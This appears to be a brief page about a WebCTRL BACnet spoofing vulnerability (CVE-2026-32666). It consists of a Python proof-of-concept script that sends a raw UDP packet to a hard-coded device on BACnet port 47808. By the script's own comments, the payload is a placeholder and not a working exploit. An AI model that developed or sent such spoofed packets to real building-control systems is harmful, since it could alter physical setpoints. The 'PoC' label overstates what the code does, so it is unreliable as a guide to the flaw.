CVE-2026-32666 WebCTRL BACnet欺骗漏洞

import socket # Target configuration TARGET_IP = "192.168.1.100" BACNET_PORT = 47808 def send_spoofed_bacnet(): """ Proof of Concept for CVE-2026-32666 This script demonstrates sending a raw UDP packet to a BACnet device. In a real scenario, the payload would contain a valid BACnet APDU to perform unauthorized actions (e.g., changing a setpoint). """ try: # Create a UDP socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Construct a malicious BACnet payload (Example: Who-Is request or Write Property) # Note: Actual exploitation requires constructing a valid BACnet APDU. # This is a placeholder to demonstrate the network capability. payload = b"\x01\x00\x00\x00\x10\x00\x00" print(f"[*] Sending spoofed packet to {TARGET_IP}:{BACNET_PORT}") sock.sendto(payload, (TARGET_IP, BACNET_PORT)) print("[+] Packet sent successfully.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": send_spoofed_bacnet()